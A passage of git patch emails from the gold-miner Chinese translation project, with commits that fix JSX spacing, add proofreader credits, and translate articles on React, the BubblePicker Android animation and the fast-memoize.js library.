MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/function-as-child-components.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/TODO/function-as-child-components.md b/TODO/function-as-child-components.md
index 9be7f2039d8..fd09a30c507 100644
--- a/TODO/function-as-child-components.md
+++ b/TODO/function-as-child-components.md
@@ -55,7 +55,7 @@ MyComponent.propTypes = {
 ```
 <MyComponent>
   {(name) => (
-    <imgsrc=’/scuba-steves-picture.jpg’alt={name} />
+    <img src=’/scuba-steves-picture.jpg’ alt={name} />
   )}
 </MyComponent>
 ```
@@ -169,7 +169,7 @@ return {
 
   render() {
     return (
-      <divref={(ref) => this.container = ref}>
+      <div ref={(ref) => this.container = ref}>
         {this.props.children(this.state.width, this.state.height, this.state.hasComputed)}
       </div>
     );
@@ -200,7 +200,7 @@ Ratio.defaultProps = {
 ```
 render() {
     return (
-      <divref='container'>
+      <div ref='container'>
         {this.props.children(this.state.width, this.state.height, this.state.hasComputed)}
       </div>
     );
@@ -214,7 +214,7 @@ render() {
 <Ratio>
   {(width, height, hasComputed) => (
     hasComputed 
-      ? <imgsrc='/scuba-steve-image.png'width={width}height={height} /> 
+      ? <img src='/scuba-steve-image.png' width={width} height={height} /> 
       : null
   )}
 </Ratio>

From c6fceb028e473ceff7c07ca1f0924728e1307a3e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Sat, 6 May 2017 01:06:30 +0800
Subject: [PATCH 357/638] Update README.md
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

删除多余的空格 :(
---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 2340a00fb29..f7c7c206494 100644
--- a/README.md
+++ b/README.md
@@ -7,7 +7,7 @@
 
 掘金翻译计划目前翻译完成 [485](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
-#  官方指南：
+# 官方指南：
 
 - [**推荐优质英文文章到掘金翻译计划**](https://github.com/xitu/gold-miner/issues/new?title=推荐优秀英文文章&body=-%20原文链接：%0A-%20简要介绍：介绍一下好不好啦，毕竟小编也看不太懂哎_(:з」∠)_)
 - [如何参与翻译](https://github.com/xitu/gold-miner/wiki/如何参与翻译)

From 07700cfc620a5aad78d63ff1b10bbb3b8a316133 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Sun, 7 May 2017 16:18:17 +0800
Subject: [PATCH 358/638] =?UTF-8?q?=E7=AC=AC=E4=B8=80=E6=AC=A1=E6=A0=A1?=
 =?UTF-8?q?=E5=AF=B9=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/projects-need-react.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/TODO/projects-need-react.md b/TODO/projects-need-react.md
index be8b4656ab0..60031589d94 100644
--- a/TODO/projects-need-react.md
+++ b/TODO/projects-need-react.md
@@ -2,13 +2,13 @@
 > * 原文作者：[SACHA GREIF](https://css-tricks.com/author/sachagreif/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[sunui](https://github.com/sunui)
-> * 校对者：
+> * 校对者：[LeviDing](https://github.com/leviding)、[Shangbin Yang](https://github.com/rccoder)
 
 # 哪些项目需要 React？都需要！#
 
-项目什么时候需要 React 框架呢？这是 Chris Coyier 在[最近一篇博文](https://github.com/xitu/gold-miner/blob/master/TODO/project-need-react.md)中的问题。我是 Chris 博客的粉丝，所以我好奇地看到了他不得不说的话。
+项目什么时候需要 React 框架呢？这是 Chris Coyier 在[最近一篇博文](https://github.com/xitu/gold-miner/blob/master/TODO/project-need-react.md)中提出的问题。我是 Chris 博客的粉丝，所以我好奇地看到了他不得不说的话。
 
-简而言之，Chris 提出了一系列使用 React（或其他类似的当代 JavaScript 库）的优势和劣势。然而，虽然我并不反对他的观点，但我依然发现自己得出了不同的结论。
+简而言之，Chris 提出了一系列使用 React（或其他类似的当代 JavaScript 库）的优势和劣势。虽然我并不反对他的观点，但我依然发现自己得出了不同的结论。
 
 所以今天我想说的是，对于“项目什么时候需要 React 框架”的答案不是“要看情況”，而是“**任何时候**”。
 
@@ -60,7 +60,7 @@
 
 虽然 React 需要一些时间来习惯，但一旦了解了其[基本概念](https://medium.freecodecamp.com/the-5-things-you-need-to-know-to-understand-react-a1dbd5d114a3)，您就能像传统的前端工具一样快速上手。
 
-也许更多的是因为 React 利用了非常强大的**组件**概念。就像 CSS 鼓励你考虑可重用的类和样式一样，React 带来了一个灵活的模块化前端架构，从简单的静态主页到交互式后端仪表板，为每一个用例带来好处。
+也许更多的是因为 React 使用了非常强大的**组件**概念。就像 CSS 鼓励你考虑可重用的类和样式一样，React 带来了一个灵活的模块化前端架构，从简单的静态主页到交互式后端仪表板，为每一个用例带来好处。
 
 ### JavaScript， 随处都是 JavaScript ###
 
@@ -96,7 +96,7 @@ Chris 不十分相信，但我很确信。JavaScript 本身并不一定完美，
 
 - 即使是最简单的网站，也很难保证你永远不会需要交互功能，如标签、表单等。
 - React 基于组件的方式即使相比于基于内容的静态站，也有巨大的优势。
-- 访问现代 JavaScript 生态系统是又一个巨大的优势。
+- 拥抱现代 JavaScript 生态系统是又一个巨大的优势。
 - 现代服务端渲染工具可以消除终端用户使用 React 的劣势。
 
 所以 Chris，您觉得呢？我的观点否足够令人信服？还是您依然保持怀疑？

From 68cc6fb5c38c099bf3ad874c7f0f74056f20e212 Mon Sep 17 00:00:00 2001
From: hackerkevin <hackerkevin@users.noreply.github.com>
Date: Sun, 7 May 2017 16:59:38 +0800
Subject: [PATCH 359/638] Update
 how-we-created-bubblepicker-a-colourful-animation-for-android.md

---
 ...picker-a-colourful-animation-for-android.md | 18 ++++++++++++++++--
 1 file changed, 16 insertions(+), 2 deletions(-)

diff --git a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
index 5727f9a4790..10a153a6fbe 100644
--- a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
+++ b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
@@ -1,27 +1,41 @@
 > * 原文地址：[How We Created BubblePicker – a Colorful Menu Animation for Android](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/)
 > * 原文作者：[Irina Galata](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/), [Yuliya Serbenenko](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[hackerkevin](https://github.com/hackerkevin)
 > * 校对者：
 
-# How We Created BubblePicker – a Colorful Menu Animation for Android #
+# 如何创建 BubblePicker – Android 多彩菜单动画 #
 
 We’re used to mobile applications supporting various types of interactions such as sliding gestures to select, or to drag and drop. What we tend to forget is that there is a growing trend toward unifying the user experience across platforms. 
 
+我们已经习惯了移动应用丰富的交互方式，如滑动手势去选择、拖拽。但是我们没有察觉到，统一用户的跨平台体验是一个正在发生的趋势。
+
 In the early days, iOS and Android each had their own unique feel, but recently they have been growing closer together in terms of the way applications are designed and interactions happen. With [bottom navigation](https://material.io/guidelines/components/bottom-navigation.html#) and split screen features now available in Android Nougat, Android has a lot in common with iOS these days.
 
+早期时候，iOS 和 Android 都有其独特的体验，但是在近期，这两个平台上的应用体验和交互在逐渐的靠拢。[底部导航](https://material.io/guidelines/components/bottom-navigation.html#)和分屏的特性已经成为Android Nougat版本的特性，Android 已经和 iOS 已经有了很多相同的地方了。
+
 For designers, this coalescing of design languages means that we can often adjust popular features that were once associated with one platform for apps designed for the other.
 
+对于设计者而言，设计语言的融合意味着在一个平台上流行的特性可以适配到另一个平台。
+
 Recently, to keep up with the trend of merging design styles across platforms, we worked on an Android animation that is inspired by the popular bubble animation in Apple music. Our task was to develop an interface that was easy enough for novice users but that still felt interesting for more experienced users.
 
+最近，为了跟上跨平台风格的步伐，我们使用 Android 动画实现了苹果音乐上的气泡动画。我们设计了一个接口，使得初学者也可以方便的使用，而且也让有经验的开发者觉得有趣。
+
 Our vibrant [BubblePicker](https://github.com/igalata/Bubble-Picker) is a great way to make an app more content-focused, original, and fun. Google is rolling out their “Material Design” language across all their products, but nevertheless, we decided to experiment with bold colors and gradients this time around to add more depth and volume to the image. Gradients might be the major visual in the display and might attract the attention of new visitors.
 
+使用 [BubblePicker](https://github.com/igalata/Bubble-Picker)能让一个应用更加的聚焦内容、原创感和有趣。尽管 Google 已经对它所有的产品推出了材料设计语言，但是我们依然决定在此时尝试大胆的颜色和渐变的效果，增加更多的深度和体积的图像。渐变可能是界面显示最主要的视觉效果，也可能会吸引到更多的人使用。
+
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2328/content_1_gradients.jpg)
 
 Our component has a white background with lots of bright colors and graphics against it. 
 
+我们的组件是白色背景，上面包含了很多明亮的颜色和图形。
+
 This high contrast is very helpful for apps rich in content, where users have to choose from a list of options. For example, in our concept we used bubbles to hold the names of potential destinations within a travel app. Bubbles float freely, and when a user taps on one of them, the tapped bubble grows in size.
 
+
+
 ![](https://yalantis-com-dev-06-09.s3.amazonaws.com/uploads/ckeditor/pictures/2329/content_discover_animation.gif)
 
 Moreover, we provide developers with the opportunity to customize the elements of the screen to make the animation suit any app.  

From c37e6adb1d6d3da8f7ce62aa6d7df3b729d18abd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <zhaoshengdong@meituan.com>
Date: Sun, 7 May 2017 15:39:11 +0800
Subject: [PATCH 360/638] =?UTF-8?q?=E7=BF=BB=E8=AF=91=EF=BC=9AHow=20I=20wr?=
 =?UTF-8?q?ote=20the=20world's=20fastest=20JavaScript=20memoization=20libr?=
 =?UTF-8?q?ary?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...-fastest-javascript-memoization-library.md | 277 ++++++++----------
 1 file changed, 127 insertions(+), 150 deletions(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index 011ef3893c5..0061cbcda43 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -1,280 +1,257 @@
 > * 原文地址：[How I wrote the world's fastest JavaScript memoization library](https://community.risingstack.com/the-worlds-fastest-javascript-memoization-library/)
 > * 原文作者：[Caio Gondim](https://community.risingstack.com/author/caio/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[薛定谔的猫](https://github.com/Aladdin-ADD)
 > * 校对者：
 
-# How I wrote the world's fastest JavaScript memoization library #
+# 我是如何实现世界上最快的 JavaScript 记忆化的 #
 
-**In this article, I’ll show you how I wrote the world’s fastest JavaScript memoization library called [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js) - which is able to do 50 million operations / second.**
 
-We’re going to discuss all the steps and decisions I took in a detailed way, and I’ll also show you the code and benchmarks as proof.
+**在本文中，我将详细介绍如何实现 [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js)，它是世界上最快的 JavaScript 记忆化（memoization）实现，每秒能进行 50,000,000 万次操作。**
+我们会详细讨论实现的步骤和决策，并且给出代码实现和性能测试作为证明。
 
-As **fast-memoize.js** is an open source project, I’ll be delighted to read your comments and suggestions for this library!
+**fast-memoize.js** 是开源项目，欢迎大家给我留言和建议。
 
-A while ago I was playing around with some [soon to be released features](http://www.2ality.com/2015/06/tail-call-optimization.html) in V8 using the Fibonacci algorithm as a basis for a benchmark. 
+不久前，我尝试了V8中一些[即将发布的特性](http://www.2ality.com/2015/06/tail-call-optimization.html)，以斐波那契算法为基础做了一些基准测试实验。
+实验之一就是比较斐波那契算法的记忆化版本和普通实现，结果表明记忆化版本有着巨大的性能优势。
 
-One of the benchmarks consisted a memoized version of the Fibonacci algorithm against a vanilla implementation, and the results showed a huge gap in performance between them.
+意识到这一点，我又翻阅了不同的记忆化库的实现，并比较了它们的性能（因为……呃，为什么不呢？）。记忆化算法本身非常简单，然而我震惊的发现不同实现之间性能差异巨大。
+这是什么原因呢？
 
-After realizing this, I started poking around with different memoization libraries and benchmarking them (because... why not?). I was quite surprised to see a huge performance gap between them, since the memoization algorithm is quite straightforward. 
+![常见 JavaScript 记忆化库的性能](https://blog-assets.risingstack.com/2017/01/performance-of-popular-javascript-memoization-libraries.png)
 
-But why?
+在翻阅 [lodash](https://github.com/lodash/lodash/blob/master/memoize.js#L50) 和 [underscore](https://github.com/jashkenas/underscore/blob/master/underscore.js#L810) 的源码时，我发现默认情况下，它们只能记忆化接受一个参数的函数。于是我就很好奇，能否实现一个足够快并且可以接受多个参数的版本呢？*（或许可以开发出npm包给全世界的开发者使用呢？）*
 
-![Performance of popular JavaScript memoization libraries](https://blog-assets.risingstack.com/2017/01/performance-of-popular-javascript-memoization-libraries.png)
+下文中，我将详细介绍实现它的步骤，以及实现过程中所做的决策。
 
-While taking a look at the [lodash](https://github.com/lodash/lodash/blob/master/memoize.js#L50) and [underscore](https://github.com/jashkenas/underscore/blob/master/underscore.js#L810) source code, I also realized that by default, they only could memoize functions that accept one argument (arity one). I was — again — curious, and wondering if I could make a fast enough memoization library that would accept N arguments. 
+## 理解问题 ##
 
-*(And, maybe, creating one more npm package in the world?)*
+引自[ Haskell 语言 wiki](https://wiki.haskell.org/Memoization)
+> 『记忆化是保存函数执行结果，而不是每次重新计算的一种技术。』
 
-Below I explain all the steps and decisions I took while creating the [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js) library.
+**换句话说，记忆化就是对于函数的缓存。** 它只适用于确定性算法,对于相同的输入总是生成相同的输出。
 
-## Understanding the problem ##
+为了便于理解和测试，我们把这个问题拆分成几个小问题。
 
-From the [Haskell language wiki](https://wiki.haskell.org/Memoization):
+### 分解 JavaScript 记忆化问题 ###
 
-> "Memoization is a technique for storing values of a function instead of recomputing them each time."
+我将这个算法分解为 3 个小问题：
 
-**In other words, memoization is a cache for functions.** It only works for deterministic Algorithms though, for those that will always generate the same output for a given input.
-
-Let's break the problem into smaller pieces for better understanding and testability.
-
-### Breaking down the JavaScript memoization problem ###
-
-I broke the memoization algorithm into 3 different pieces:
-
-1. **cache**: stores the previously computed values. 
-2. **serializer**: takes the arguments as inputs and generates a string as an output that represents the given input. Think of it as a fingerprint for the arguments. 
-3. **strategy**: glues together cache and serializer, and outputs the memoized function.
-
-Now the idea is to implement each piece in different ways, benchmark each one and make the **final algorithm as a combination of the fastest cache, serializer, and strategy**. 
+1. **缓存**：保存上一次计算结果。
+2. **序列化**：输入为参数，输出一个字符串用于表示相应的输入。可以将它视作参数的唯一标识。
+3. **策略**：将缓存和序列化组合起来，输出记忆化函数。
 
+现在我们就要分别以不同的方式实现这 3 个部分，测试它们的性能，选择其中最快的方式，最后将它们结合起来就是我们最终的算法了。
 The goal here is to let the computer do the heavy lifting for us!
+这样做的目标就是提升计算性能？？？
 
-### #1 - Cache ###
+### #1 - 缓存 ###
 
-As I just mentioned, the cache stores previously computed values.
+如前文所述，缓存保存了之前的计算结果。
 
-#### Interface ####
+#### 接口 ####
 
-To abstract implementation details, a similar interface to [Map](http://ecma-international.org/ecma-262/7.0/#sec-properties-of-the-map-prototype-object) was created:
+为了抽象实现细节，我们需要创建一个类似于 [Map](http://ecma-international.org/ecma-262/7.0/#sec-properties-of-the-map-prototype-object) 的接口：
 
 - has(key)
 - get(key)
 - set(key, value)
 - delete(key)
 
-This way we can replace the inner cache implementation without breaking it for consumers, as long we implement the same interface.
-
-#### Implementations ####
+通过（定义接口）这种方式，只要我们实现了这个接口，就可以修改缓存内部的实现，而不影响外部使用。
 
-One thing that needs to be done every time a memoized function is executed is to check if the output for the given input was already computed.
+#### 实现 ####
 
-A good data structure for that is a hash table. Hash table has an O(1) time complexity in Big-O notation for checking the presence of a value. Under the hood, a JavaScript object is a Hash table ([or something similar](https://simplenotions.wordpress.com/2011/07/05/javascript-hashtable/)), so we can leverage this using the input as key for the hash table and the value as the function output.
+每次执行记忆化函数，我们需要做的就是：检查对应输入的输出是否已经被计算过。
+因此最合理的数据结构是哈希表。它能够在 O(1) 时间复杂度检查某个值是否存在。 从底层看，一个 JavaScript 对象就是一个哈希表（[或类似的结构](https://simplenotions.wordpress.com/2011/07/05/javascript-hashtable/)），所以我们可以将输入作为哈希表的 key，将输出作为它的 value。
 
-```
-    // Keys represent the input of fibonacci function// Values represent the outputconst cache = {  
+```js
+    // Keys 代表斐波那契函数的输入
+    // Values 代表函数执行结果
+    const cache = {  
       5: 5,
       6: 8,
       7: 13
     }
 ```
-    
 
-I used those different algorithms as a cache:
+为实现缓存，我分别尝试了：
 
-1. Vanilla object 
-2. Object without prototype (to avoid prototype lookup) 
-3. [lru-cache](https://www.npmjs.com/package/lru-cache) package 
+1. 普通对象
+2. 无原型对象（避免原型属性查找）
+3. [lru-cache](https://www.npmjs.com/package/lru-cache)
 4. [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)
 
-Below you can see a benchmark of all cache implementations. To run locally, do `npm run benchmark:cache`. The source for all different implementations can be found on the [project's GitHub page](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/cache). 
-
+以下是这些实现的性能测试。本地运行，请执行命令 `npm run benchmark:cache`。不同版本实现的源码可以在[项目的 GitHub 页面](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/cache)找到。
 ![Variable JavaScript memoization cache](https://blog-assets.risingstack.com/2017/01/variable-javascript-memoization-cache.png)
 
-#### The need for a serializer ####
+#### 还需要一个序列化器 ####
 
-There is a problem when a non-literal argument is passed since its string representation is not unique.
+在参数是非字面量时，这个版本会有问题，因为转化为字符串时并不唯一。
 
-```
+```js
     functionfoo(arg) { returnString(arg) }
-    
+
     foo({a: 1}) // => '[object Object]'  
     foo({b: 'lorem'}) // => '[object Object]'  
 ```
-    
-
-That is why we need a serializer, to create a *fingerprint* of arguments that will serve as key for the cache. It needs to be as fast as possible as well.
-
-### #2 - Serializer ###
-
-The serializer outputs a string based on the given inputs. It has to be a deterministic algorithm, meaning that it will always produce the same output for the same input.
-
-The serializer is used to create a string that will serve as a key for the cache and represent the inputs for the memoized functions. 
 
-Unfortunately, I could not find any library that came close, performance wise, to `JSON.stringify` — which makes sense, since it's implemented in native code.
+这就是为什么我们还需要一个序列化器，用它来生成参数的**指纹**（唯一标识，译者注）。它的速度越快越好。
 
-I tried to use `JSON.stringify` and a bound `JSON.stringify` hoping there would be one less lookup to be made, but no gains here. 
+### #2 - 序列化器 ###
 
-To run locally, do `npm run benchmark:serializer`. The code for both implementations can be found on the [project's GitHub page](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/serializer).
+序列化器基于给定的输入输出一个字符串。它必须是一个确定性算法，意味着对相同的输入，总是给出相同的输出。
+序列化器生成的字符串用作缓存的key，代表记忆化函数的输入。
+`JSON.stringify` 是实现它性能最佳的方式，比其它方式的都好 -- 这也很容易理解，因为 `JSON.stringify` 是原生的。
+我尝试使用 bound `JSON.stringify`（JSON.stringify.bind(null)，译者注），希望通过减少一次变量查找来提高性能，但很遗憾没有效果。
+想在本地执行，可以执行命令 `npm run benchmark:serializer`，实现的具体代码可以在[项目的 GitHub 页面](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/serializer)找到。
 
-![Variable Serializer](https://blog-assets.risingstack.com/2017/01/variable-serializer.png)
+![变量序列化器](https://blog-assets.risingstack.com/2017/01/variable-serializer.png)
 
-There is one piece left: the **strategy**.
+还剩最后一个部分：**策略**。
 
-### #3 - Strategy ###
+### #3 - 策略 ###
  
-The strategy is the consumer of both **serializer** and **cache**. It orchestrates all pieces. For [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js) library, I spent most of the time here. Although a very simple algorithm, some gains were made in each iteration.
+策略使用了**序列化器**和**缓存**，将两者结合起来。对 [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js) 来说，策略是我花时间最多的部分。即使非常简单的算法，每一个版本迭代都有一些性能提升。
+以下是我先后尝试的方式：
 
-Those were the iterations I did in chronological order:
+1. 普通方式 (初始版本) 
+2. 针对单个参数优化
+3. 参数推断
+4. 偏特化
 
-1. Naive (first try) 
-2. Optimize for single argument 
-3. Infer arity 
-4. Partial application
+我们来逐个介绍它们。我会以尽量简化的代码，来介绍每种方式背后的想法。如果某些细节我没有解释清楚，你想要深入探究一下，可以在[项目的 GitHub 页面](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/strategy)中找到每个版本的代码。
 
-Let's explore them one by one. I will try to explain the idea behind each approach, with as little code as possible. If my explanation is not enough and you want to dive deeper, the code for each iteration can be found in the [project's GitHub page](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/strategy). 
+本地运行，请执行命令 `npm run benchmark:strategy`。
 
-To run locally, do `npm run benchmark:strategy`.
+#### 普通方式 ####
 
-#### Naive ####
+这是我第一次尝试，也是最简单的版本。步骤是：
 
-This was the first iteration and the simplest one. The steps:
-
-1. Serialize arguments 
-2. Check if output for given input was already computed 
-3. If `true`, get result from cache 
-4. If `false`, compute and store value on cache
+1. 序列化参数 
+2. 检查给定输入的输出是否已经计算过
+3. 如果`是`，从缓存中读取结果
+4. 如果`否`，计算，并且将结果保存到缓存中
 
 ![Variable strategy](https://blog-assets.risingstack.com/2017/01/variable-strategy.png)
 
-With that first try, we could generate around **650,000 operations per second**. That will serve as a basis for next iterations.
+使用第一个版本，我们可以达到**每秒 650,000 次操作**。这个版本是后面优化版本的基础。
 
-#### Optimize for single argument ####
+#### 针对单个参数优化 ####
 
-One simple and effective technique while improving performance is to optimize the hot path. Our hot path here is a function which accepts one argument only (arity one) with primitive values, so we don't need to run the serializer.
+改善性能的一个有效方法是优化热路径（hot path，指执行频率最高的路径，译者注）。对我们的代码来说，热路径就是接受一个基本类型参数的函数，这种情况下我们不需要对参数序列化。
 
-1. Check if `arguments.length === 1` and argument is a primitive value 
-2. If `true`, no need to run serializer, as a primitive value already works as a key for the cache 
-3. Check if output for given input was already computed 
-4. If `true`, get result from cache 
-5. If `false`, compute and store value on cache
+1. 检查`arguments.length === 1` && 参数为基本类型
+2. 如果`是`，无需序列化参数，因为基本类型本身就可以作为缓存的key
+3. 检查给定输入的输出是否已经计算过
+4. 如果`是`，从缓存中读取结果
+5. 如果`否`，计算，并且将结果保存到缓存中
 
-![Optimizing for single argument](https://blog-assets.risingstack.com/2017/01/optimizing-for-single-argument.png)
+![针对单个参数优化](https://blog-assets.risingstack.com/2017/01/optimizing-for-single-argument.png)
 
-By removing the unnecessary call to the serializer, we can go much faster (on the hot path). Now running at **5.5 million operations per second**. 
+通过避免执行不必要的序列化操作，我们可以得到更快的执行结果（对热路径而言）。现在可以达到**每秒5,500,000次**了。
 
-#### Infer arity ####
+#### 参数推断 ####
 
-`function.length` returns the number of expected arguments on a defined function. We can leverage this to remove the dynamic check for `arguments.length === 1` and provide a different strategy for monadic (functions that receive one argument) and not-monadic functions.
+对已定义的函数，`function.length` 返回期望接受的参数个数。我们可以通过给策略 monadic（单参数函数）和 not-monadic，这样就避免了检查 `arguments.length === 1`。
 
-```
+```js
     functionfoo(a, b) {  
       Return a + b
     }
     foo.length // => 2  
 ```    
 
-![infer arity](https://blog-assets.risingstack.com/2017/01/infer-arity.png)
+![参数推断](https://blog-assets.risingstack.com/2017/01/infer-arity.png)
 
-An expected small gain, since we are only removing one check on the if condition. Now we’re running at **6 million operations per second**. 
+省去了这一次条件判断，我们（的实现）性能又有了一点提升，可以达到**每秒 6,000,000 次操作**。
 
-### Partial application ###
+### 偏函数（Partial application） ###
 
-It seemed to me that most of the time was being wasted on variable lookup (no data for this), and I had no more ideas on how to improve it. Then, I suddenly remembered that it's possible to inject variables in a function through a partial application with the `bind` method. 
+我觉得大多数时间都花费在了变量查找上（？？？），起初我也没有好的想法去改善。灵机一动，我突然想到可以使用 `bind` 方法，通过偏函数应用的方法将变量注入到函数中。
 
-```
+```js
     functionsum(a, b) {  
       return a + b
     }
     const sumBy2 = sum.bind(null, 2)  
     sumBy2(3) // => 5  
 ```
-    
-The idea here is to create a function with some arguments fixed. Then I fixed the **original function**, **cache** and **serializer** through this method. Let's give it a try!
-
-![partial application](https://blog-assets.risingstack.com/2017/01/partial-application.png)
 
-Wow. That's a big win. I'm out of ideas again, but this time satisfied with the result. We are now running at **20 million operations per second**.
+这种方式可以将函数的某些参数固定下来。我用就它把**原函数**，**缓存**，和**序列化器**固定下来。就用它来试试吧！
+![偏函数](https://blog-assets.risingstack.com/2017/01/partial-application.png)
 
-## The Fastest JavaScript Memoization Combination ##
+哇！效果非常好。？？？这个版本可以达到**每秒 20,000,000 次操作**。
 
-We broke down the memoization problem into 3 parts. 
+## 最快的 JavaScript 记忆化组合 ##
 
-For each part, we kept the other two parts fixed and ran a benchmark alternating only one. By alternating only one variable, we can be more confident the result was an effect of this change — no JS code is deterministic performance wise, due to unpredictable Stop-The-World pauses on VM.
+上面我们把记忆化分解为了 3 个部分。
 
-V8 does a lot of optimizations on runtime based on how frequently a function is called, its shape, ... 
-
-To check that we are not missing a massive performance optimization opportunity in any possible combination of the 3 parts, let's run each part against the other, in all possible ways. 
-
-4 strategies x 2 serializers x 4 caches = **32 different combinations**. To run locally, do `npm run benchmark:combination`. Below the top 5 combinations:
+对每个部分，我们将其余 2 个部分固定，更换其中一个测试其性能。通过这种单变量测试，我们能更加确信每次改变的效果--由于GC造成的不确定性停顿，JS代码的性能并不完全确定。
+V8 会更根据函数的调用频率、代码结构等因素，做很多运行时优化。
+为了确保我们将这 3 部分组合起来时不会错过大量性能优化的机会，我们尝试所有可能的组合。
+一共 4 种策略 x 2 种序列化器 x 4 种缓存 = **32种不同的组合**。本地运行，请执行命令 `npm run benchmark:combination`。下面是性能最好的 5 种组合：
 
 ![fastest javascript memoize combinations](https://blog-assets.risingstack.com/2017/01/fastest-javascript-memoize-combinations.png)
 
 Legend:
 
-1. **strategy**: Partial application, **cache**: Object, **serializer**: json-stringify 
-2. **strategy**: Partial application, **cache**: Object without prototype, **serializer**: json-stringify 
-3. **strategy**: Partial application, **cache**: Object without prototype, **serializer**: json-stringify-binded 
-4. **strategy**: Partial application, **cache**: Object, **serializer**: json-stringify-binded 
-5. **strategy**: Partial application, **cache**: Map, **serializer**: json-stringify
-
-It seems that we were right. The fastest algorithm is a combination of:
+1. **策略**: 偏函数, **缓存**: 普通对象, **序列化器**: json-stringify 
+2. **策略**: 偏函数, **缓存**: 无原型对象, **序列化器**: json-stringify 
+3. **策略**: 偏函数, **缓存**: 无原型对象, **序列化器**: json-stringify-binded 
+4. **策略**: 偏函数, **缓存**: 普通对象, **序列化器**: json-stringify-binded 
+5. **策略**: 偏函数, **缓存**: Map, **序列化器**: json-stringify
 
-- **strategy**: Partial application
-- **cache**: Object
-- **serializer**: JSON.stringify
+事实证明我们上面的分析是对的。最快的组合是：
 
-## Benchmarking against popular libraries ##
+- **策略**: 偏函数
+- **缓存**: Object
+- **序列化器**: JSON.stringify
 
-With all the pieces of the algorithm in place, it's time to benchmark it against the most popular memoization libraries. To run locally, do `npm run benchmark`. Below the results:
+## 与流行库的性能对比 ##
 
-![Benchmarking against other memoization libraries](https://blog-assets.risingstack.com/2017/01/benchmarking-against-other-memoization-libraries.png)
+有了上面的算法，是时候把它同最流行的库做一个性能上的比较了。运行命令`npm run benchmark`，就可以在本地执行了。结果如下：
+![与流行库的性能对比](https://blog-assets.risingstack.com/2017/01/benchmarking-against-other-memoization-libraries.png)
 
-[fast-memoize.js](https://github.com/caiogondim/fast-memoize.js) is almost 3 times faster than the second fastest running at **27 million operations per second**.
+[fast-memoize.js](https://github.com/caiogondim/fast-memoize.js)是最快的，几乎是第二名的 3 倍，**每秒27,000,000次操作**。
 
-### Future proof ###
+### 面向未来 ###
 
-V8 has a new and yet to be officially released new optimization compiler called [TurboFan](http://v8project.blogspot.com.br/2015/07/digging-into-turbofan-jit.html).
+V8有一个很新的、未发布的优化编译器 [TurboFan](http://v8project.blogspot.com.br/2015/07/digging-into-turbofan-jit.html)。
+我们现在就应该用它测试一下，因为 TurboFan（极有可能）很快就会添加到V8中。通过给 Node.js 设置 flag `--turbo-fan` 就可以启用它。本地运行，请执行命令`npm run benchmark:turbo-fan`。以下是启用后的测试结果：
 
-We should try it today to see how our code will behave tomorrow since TurboFan will be (very 
+![使用 TurboFan 的性能](https://blog-assets.risingstack.com/2017/01/performance-with-turbofan.png)
 
-likely) added to V8 shortly. To enable it pass the flag `--turbo-fan` to the Node.js binary. To run locally, do `npm run benchmark:turbo-fan`. Below the benchmark with TurboFan enabled:
+性能几乎翻倍，现在达到接近**每秒 50,000,000 次**。
 
-![Performance with TurboFan](https://blog-assets.risingstack.com/2017/01/performance-with-turbofan.png)
+似乎最新的 TurboFan 编译器可以极大的优化我们最终版本的 [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js)。
 
-Almost a double gain in performance. We are now running at almost **50 million operations per second**. 
+## 结论 ##
 
-Seems the new [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js) version can be highly optimized with the soon to be released new compiler.
